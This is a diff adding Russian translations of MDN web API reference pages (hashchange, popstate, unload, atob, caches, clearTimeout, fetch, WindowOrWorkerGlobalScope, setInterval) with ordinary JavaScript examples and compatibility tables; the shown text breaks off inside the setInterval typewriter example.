Событие hashchange происходит когда изменяется hash (смотри {{domxref("Window.location", "location.hash")}}).

+ +

Синтаксис

+ +
window.onhashchange = funcRef;
+
+ +

или

+ +
<body onhashchange="funcRef();">
+
+ +

или

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

Параметры

+ +
+
funcRef
+
Ссылка на функцию.
+
+ +

Пример

+ +
if ("onhashchange" in window) {
+    alert("The browser supports the hashchange event!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

The hashchange event

+ +

The dispatched hashchange event has the following fields:

+ + + + + + + + + + + + + + + + + + + +
FieldTypeDescription
newURL {{gecko_minversion_inline("6.0")}}DOMStringThe new URL to which the window is navigating.
oldURL {{gecko_minversion_inline("6.0")}}DOMStringThe previous URL from which the window was navigated.
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5.0{{CompatGeckoDesktop("1.9.2")}} +

8.0

+ +

oldURL/newURL attributes are not supported.

+ 		10.65.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.2{{CompatGeckoMobile("1.9.2")}}9.011.05.0
+
+ + diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..62d82bd693 --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,63 @@ +--- +title: WindowEventHandlers.onpopstate +slug: Web/API/WindowEventHandlers/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +
{{APIRef}}
+ +

Свойство onpopstate миксина {{domxref("WindowEventHandlers")}} является {{domxref("EventHandler")}} для обработки событий popstate для "window".

+ +

Событие popstate отсылается объекту window каждый раз, когда активная запись истории меняется с одной на другую для одного и того же документа. Если запись истории, ставшая активной, была создана вызовом history.pushState() или изменена с помощью history.replaceState(), свойство state события popstate содержит копию объекта состояния этой записи истории.

+ +
+

Примечание:, просто вызов history.pushState() или history.replaceState() не вызовет событие popstate. Событие popstate срабатывает только тогда, когда происходят какие то действия в браузере, такие как нажатие кнопки "назад" (или вызов history.back() из JavaScript). Это событие срабатывает только когда пользователь переходит между двумя записями истории одного и того же документа.

+
+ +

Синтаксис

+ +
window.onpopstate = funcRef;
+
+ + + +

Примеры

+ +

В качестве примера, страница http://example.com/example.html, исполняя нижеследующий код, сгенерирует всплывающие сообщения, как показано в комментариях:

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для http://example.com/example.html) не имеет объекта события, связанного с ней, событие popstate все равно произойдет, когда мы активируем эту запись после второго вызова history.back().

+ +

Спецификация

+ + + +

Browser compatibility

+ + + +

{{Compat("api.WindowEventHandlers.onpopstate")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windoweventhandlers/onunload/index.html b/files/ru/web/api/windoweventhandlers/onunload/index.html new file mode 100644 index 0000000000..3d908647e5 --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/onunload/index.html @@ -0,0 +1,106 @@ +--- +title: WindowEventHandlers.onunload +slug: Web/API/WindowEventHandlers/onunload +translation_of: Web/API/WindowEventHandlers/onunload +--- +
{{APIRef("HTML DOM")}}
+ +

Описание

+ +

Событие unload возникает когда window выгружает своё содержимое и ресурсы. Удаление ресурсов происходит после возникновения события unload.

+ +

Синтаксис

+ +
window.onunload = funcRef;
+
+ + + +

Примечание

+ +

Using this event handler in your page prevents Firefox 1.5 from caching the page in the in-memory bfcache. Смотрите Использование кеширования в  Firefox 1.5 для получения более детальной информации.

+ +

Браузеры, оснащённые бокировщиками всплывающих окон будут игнорировать все вызовы метода window.open() внутри функции обработчика события onunload.

+ +

You can and should handle this event through {{domxref("EventTarget.addEventListener","window.addEventListener()")}} and the {{event("unload")}} event. More documentation is available there.

+ +

Cпецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..57f01ea5a9 --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,129 @@ +--- +title: WindowOrWorkerGlobalScope.atob() +slug: Web/API/WindowOrWorkerGlobalScope/atob +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +
{{APIRef("HTML DOM")}}
+ +

Функция WindowOrWorkerGlobalScope.atob() декодирует строку данных, которая была закодированa с использованием  base-64. Вы можете использовать метод {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}}, чтобы декодировать и передать данные, которые в исходном виде могут вызвать проблемы  передачи, затем отправить их, и использовать метод atob() чтобы декодировать данны снова. Например, вы можете закодировать, передать, и декодировать управляющие символы, такие как ASCII значения от 0 до 31.

+ +

В случаях использования с Unicode или UTF-8 строками, смотрите this note at Base64 encoding and decoding и this note at btoa().

+ +

Синтаксис

+ +
var decodedData = scope.atob(encodedData);
+ +

Throws

+ +

Выбрасывает {{jsxref("DOMException")}}, если длина переданной строки не кратна 4.

+ +

Пример

+ +
var encodedData = window.btoa('Hello, world'); // кодирует строку
+var decodedData = window.atob(encodedData); // декодирует строку
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]
+ {{CompatGeckoDesktop(27)}}[2]
+ {{CompatGeckoDesktop(52)}}[3]		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}
+ {{CompatGeckoDesktop(52)}}[3]		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] atob() is also available to XPCOM components implemented in JavaScript, even though window is not the global object in components.

+ +

[2] Начиная с Firefox 27, atob() игнорирует все символы пробелов в аргументе, чтобы соответствовать последним  HTML5 спецификациям (смотри {{bug(711180)}}).

+ +

[3] atob() теперь определен в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/windoworworkerglobalscope/caches/index.html b/files/ru/web/api/windoworworkerglobalscope/caches/index.html new file mode 100644 index 0000000000..c20691d264 --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/caches/index.html @@ -0,0 +1,79 @@ +--- +title: WindowOrWorkerGlobalScope.caches +slug: Web/API/WindowOrWorkerGlobalScope/caches +translation_of: Web/API/WindowOrWorkerGlobalScope/caches +--- +
{{APIRef()}}{{SeeCompatTable}}
+ +

caches {{domxref("WindowOrWorkerGlobalScope")}}  свойство только для чтения интерфейса возвращающее  объект ассоциированный с текущим контекстом {{domxref("CacheStorage")}}.

+ +

Этот объект реализует такую  функциональность как строгое соответсвие для оффлайн использования  и генерирование пользовательских ответов на запросы.

+ +

Синтаксис

+ +
var myCacheStorage = self.caches; // or just caches
+
+ +

Значение

+ +

Возвращает значение {{domxref("CacheStorage")}} .

+ +

Пример

+ +

Данный пример показывает как надо использовать кеш в контексте service worker для хранения в автономном режиме

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#self-caches', 'caches')}}{{Spec2('Service Workers')}}Обьявлена частичная поддержка в новейшей спецификации WindowOrWorkerGlobalScope.
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Начальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.caches")}}

+ +

Также смотрите

+ + diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html new file mode 100644 index 0000000000..d783f16a26 --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -0,0 +1,94 @@ +--- +title: WindowOrWorkerGlobalScope.clearTimeout() +slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +
{{APIRef("HTML DOM")}}
+ +

clearTimeout() метод {{domxref("WindowOrWorkerGlobalScope")}} отменяет таймаут, ранее установленный вызовом {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}.

+ +

Синтаксис

+ +
scope.clearTimeout(timeoutID)
+
+ +

Параметры

+ +
+
timeoutID
+
+
Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом setTimeout().
+
+ +

It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use clearTimeout() and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.

+ +

Пример использования:

+ +

Запустите приведенный ниже скрипт в контекте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.

+ +
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    this.timeoutID = undefined;
+  },
+
+  setup: function() {
+    if (typeof this.timeoutID === 'number') {
+      this.cancel();
+    }
+
+    this.timeoutID = window.setTimeout(function(msg) {
+      this.remind(msg);
+    }.bind(this), 1000, 'Wake up!');
+  },
+
+  cancel: function() {
+    window.clearTimeout(this.timeoutID);
+  }
+};
+window.onclick = function() { alarm.setup(); };
+
+ +

Примечания

+ +

Передача недействительного ID clearTimeout() ни к чему не приведет. Исключение не создается.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузером

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearTimeout")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html new file mode 100644 index 0000000000..886c2fa849 --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html @@ -0,0 +1,171 @@ +--- +title: WindowOrWorkerGlobalScope.fetch() +slug: Web/API/WindowOrWorkerGlobalScope/fetch +tags: + - Справка + - запрос + - метод +translation_of: Web/API/WindowOrWorkerGlobalScope/fetch +--- +
{{APIRef("Fetch API")}}
+ +

Метод fetch() , относящийся к миксину {{domxref("WindowOrWorkerGlobalScope")}}, запускает процесс извлечения ресурса из сети. Возвращает promise, содержащий {{domxref("Response")}} объект (ответ на запрос).

+ +

WorkerOrGlobalScope относится к {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} сразу. Это означает, что метод fetch() доступен практически в любом контексте, в котором бы вы не захотели получить ресурсы.

+ +

{{domxref("WindowOrWorkerGlobalScope.fetch","Fetch()")}} promise (обещание) завершается {{jsxref("TypeError")}}, если возникает сетевая ошибка, хотя обычно это означает проблему с доступами или аналогичную ей. Для успешного завершения fetch() достаточно удостовериться в том, что обещание выполнено и что свойство {{domxref("Response.ok")}} имеет значение true. HTTP статус 404 не является сетевой ошибкой.

+ +

Метод fetch() контролируется директивой connect-src directive of Content Security Policy (политика безопасности контента), а не директивой ресурсов, которые извлекает.

+ +
+

На Заметку: Аргументы метода fetch() идентичны аргументам {{domxref("Request.Request","Request()")}} конструктора.

+
+ +

Синтаксис

+ +
Promise<Response> fetch(input[, init]);
+ +

Аргументы

+ +
+
input
+
Определяет желаемый для получения ресурс. Это может быть: +
    +
  • {{domxref("USVString")}} (строка), содержащая прямую URL ссылку на ресурс. Некоторые браузеры принимают blob: и data: , как схемы.
    • +
  • {{domxref("Request")}} объект (объект ответа).
    • +
+
+
init {{optional_inline}}
+
Объект с опциями, содержащий пользовательские настройки, которые вы желаете применить к запросу. Возможные варианты: +
    +
  • method: Метод запроса, например, GET, POST.
    • +
  • headers: Заголовки, содержащиеся в объекте {{domxref("Headers")}} или в объекте литерале с побитовыми значениями ({{domxref("ByteString")}}).
    • +
  • body: Тело запроса, которое может быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, или {{domxref("USVString")}} объектами. Обратите внимание, что GET или HEAD запрос не может иметь тела.
    • +
  • mode: Режим, например, cors, no-cors или same-origin.
    • +
  • credentials: Полномочия: omit, same-origin или include. Для автоматической отправки куки для текущего домена, эта опция должна быть указана. Начиная с Chrome 50, это свойство также принимает экземпляр класса {{domxref("FederatedCredential")}} или  {{domxref("PasswordCredential")}}.
    • +
  • cache: Режим кэширования запроса default, no-store, reload, no-cache, force-cache или only-if-cached.
    • +
  • redirect: Режим редиректа: follow (автоматически переадресовывать), error (прерывать перенаправление ошибкой) или manual (управлять перенаправлениями вручную). В Chrome по дефолту стоит follow (ранее, в Chrome 47, стояло manual).
    • +
  • referrer: {{domxref("USVString")}}, определяющая no-referrer, client или a URL. Дефолтное значение - client.
    • +
  • referrerPolicy: Определяет значение HTTP заголовка реферера. Может быть: no-referrer, no-referrer-when-downgrade, origin, origin-when-cross-origin, unsafe-url.
    • +
  • integrity: Содержит значение целостности субресурсов (subresource integrity) запроса (например, sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=).
    • +
  • keepalive: Эта опция может быть использована, чтобы разрешить запросу "пережить" страницу. Получение ресурсов с флагом keepalive - это альтернатива {{domxref("Navigator.sendBeacon()")}} API. 
    • +
  • signal: Экзмепляр объекта {{domxref("AbortSignal")}}; позволяет коммуницировать с fetch запросом и, если нужно, отменять его с помощью {{domxref("AbortController")}}.
    • +
+
+
+ +

Возвращаемое значение

+ +

{{domxref("Promise")}}, содержащий {{domxref("Response")}} объект (ответ на запрос).

+ +

Исключения

+ + + + + + + + + + + + + + + + + + +
ТипОписание
AbortErrorЗапрос был отменен (используя {{domxref("AbortController.abort()")}}).
TypeErrorНачиная с версии Firefox 43, fetch() завершится ошибкой TypeError, если URL имеет такие полномочия, как http://user:password@example.com.
+ +

Пример

+ +

В нашем Fetch Request примере (см. Fetch Request live) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом fetch(). Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

В нашем Fetch with init then Request примере (см. Fetch Request init live) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для fetch() объект init:

+ +
var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest,myInit).then(function(response) {
+  ...
+});
+ +

Обратите внимание, что объект init в качестве аргумента можно передать и в конструктор Request для получения аналогичного результата, например:

+ +
var myRequest = new Request('flowers.jpg', myInit);
+ +

Допустимо использования объекта литерала в качестве headers в init.

+ +
var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Fetch','#fetch-method','fetch()')}}{{Spec2('Fetch')}}Частично определена в новейшей спецификации WindowOrWorkerGlobalScope.
{{SpecName('Fetch','#dom-global-fetch','fetch()')}}{{Spec2('Fetch')}}Первоначальное определение
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}Добавлена возможность установить экземпляр класса {{domxref("FederatedCredential")}} или {{domxref("PasswordCredential")}} как возможное значение для init.credentials.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html new file mode 100644 index 0000000000..8f38321cb1 --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/index.html @@ -0,0 +1,187 @@ +--- +title: WindowOrWorkerGlobalScope +slug: Web/API/WindowOrWorkerGlobalScope +tags: + - API + - DOM + - DOM API + - NeedsTranslation + - Service Worker + - TopicStub + - Window + - WindowOrWorkerGlobalScope + - Worker + - WorkerGlobalScope +translation_of: Web/API/WindowOrWorkerGlobalScope +--- +
{{ApiRef()}}
+ +

Миксин WindowOrWorkerGlobalScope описывает несколько функций, общих для интерфейсов {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} . Каждый из этих интерфейсов, конечно же, может добавить больше возможностей в дополнение к перечисленным ниже.

+ +
+

Замечание: WindowOrWorkerGlobalScope - это миксин, а не интерфейс; на самом деле вы не можете создать объект типа WindowOrWorkerGlobalScope.

+
+ +

Свойства

+ +

Эти свойства определены в миксине {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.

+ +
+
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Данный объект включает в себя такие функциональные возможности, как хранение активов для использования в автономном режиме, а также генерацию пользовательских ответов на запросы.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Предоставляет механизм асинхронного доступа приложений к возможностям индексируемых баз данных; возвращает объект {{domxref("IDBFactory")}}.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Возвращает логический ключ, указывающий, является ли текущий контекст безопасным (true) или нет (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Возвращает происхождение глобального диапазона, сериализованного в виде строки.
+
+
+ +

Методы

+ +

Эти свойства определены на смеси {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.

+ +
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Декодирует строку данных, которая была закодирована с использованием кодировки base-64.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Создает ASCII строку в кодировке base-64 из строки бинарных данных.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Отменяет набор отложенного исполнения, используя {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Принимает различные источники изображений и возвращает {{domxref(" Promise")}}, который преобразуется в {{domxref("ImageBitmap")}}. Опционально источник обрезается до прямоугольника пикселей, происходящих от (sx, sy) с шириной sw и высотой sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Запускает процесс извлечения ресурса из сети.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Планирует функцию, которая будет выполняться каждый раз по истечении заданного числа миллисекунд.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Планирует функцию для выполнения в заданное время.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', 'WindowOrWorkerGlobalScope mixin')}}{{Spec2('HTML WHATWG')}}This is where the main mixin is defined.
{{SpecName('Fetch','#fetch-method','fetch()')}}{{Spec2('Fetch')}}Definition of the fetch() method.
{{SpecName('Service Workers', '#self-caches', 'caches')}}{{Spec2('Service Workers')}}Definition of the caches property.
{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}{{Spec2('IndexedDB 2')}}Definition of the indexedDB property.
{{SpecName('Secure Contexts', '#dom-windoworworkerglobalscope-issecurecontext', 'isSecureContext')}}{{Spec2('Secure Contexts')}}Definition of the isSecureContext property.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(52)}}54{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatGeckoDesktop(54)}}59{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}54
origin{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(54)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}59
+
+ +

See also

+ + diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html new file mode 100644 index 0000000000..3095c8d6ec --- /dev/null +++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html @@ -0,0 +1,641 @@ +--- +title: WindowOrWorkerGlobalScope.setInterval() +slug: Web/API/WindowOrWorkerGlobalScope/setInterval +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +
{{APIRef("HTML DOM")}}
+ +

Метод setInterval() предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом. Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный setInterval c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.

+ +

Синтаксис

+ +
var intervalID = scope.setInterval(func, delay[, param1, param2, ...]);
+var intervalID = scope.setInterval(code, delay);
+
+ +

Параметры

+ +
+
func
+
{{jsxref("function")}} - функция, которая будет вызыватся каждые delay милисекунд. Ожидается, что функция не принимает параметры и ничего не возвращает.
+
code
+
Этот необязательный синтаксис позволяет вам включать строку вметсо функции, которая компилируется и выполняется каждые delay миллисекунд. Однако такая форма не комендуется по тем же причинам, которые делают {{jsxref("eval", "eval()")}} угрозой безопасности.
+
delay
+
Время в милисекундах (одна тысячная секунды), на которое таймер выполнит задержку между вызовом функции. Если задано значение меньше 10, то будет использовано число 10. На самом деле задержка может быть больше чем указано, дополнительное объяснение приведено здесь:  {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}}.
+
param1, ..., paramN {{optional_inline}}
+
Дополнительные параметры, передаваемые в функцию func.
+
+ +
+

Примечание: Передача дополнительных аргументов в setInterval() в первом синтаксисе не работает в Internet Explorer 9 и более ранних версиях.Если вы хотите включить эту функцию в этом браузере, вам следует использовать polyfill (смотрите раздел Callback аргументы).

+
+ +

Возвращаемое значение

+ +

Возвращаемый intervalID представляет из себя ненулевое числовое значение, которое идентифицирует таймер, созданный вызовом setInterval(); Это значение может быть передано в {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}} для отмены таймера.

+ +

It may be helpful to be aware that setInterval() and {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} share the same pool of IDs, and that clearInterval() and {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code.

+ +
Note: The delay parameter is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
+ +

Примеры

+ +

Пример 1: Базовый синтаксис

+ +

The following example demonstrates setInterval()'s basic syntax.

+ +
var intervalID = window.setInterval(myCallback, 500);
+
+function myCallback() {
+  // Your code here
+}
+
+ +

Пример 2: Чередование двух цветов

+ +

В следующем примере вызывается функция flashtext() раз в секунду, до того момента, как будет нажата кнопка Stop.

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>setInterval/clearInterval example</title>
+
+  <script>
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' это тернарный оператор.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  </script>
+</head>
+
+<body onload="changeColor();">
+  <div id="my_box">
+    <p>Hello World</p>
+  </div>
+
+  <button onclick="stopTextColor();">Stop</button>
+</body>
+</html>
+
+ +

Пример 3: Симуляция пишущей машинки

+ +

The following example simulates typewriter by first clearing and then slowly typing content into the NodeList that matches a specified group of selectors.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>JavaScript Typewriter - MDN Example</title>
+<script>
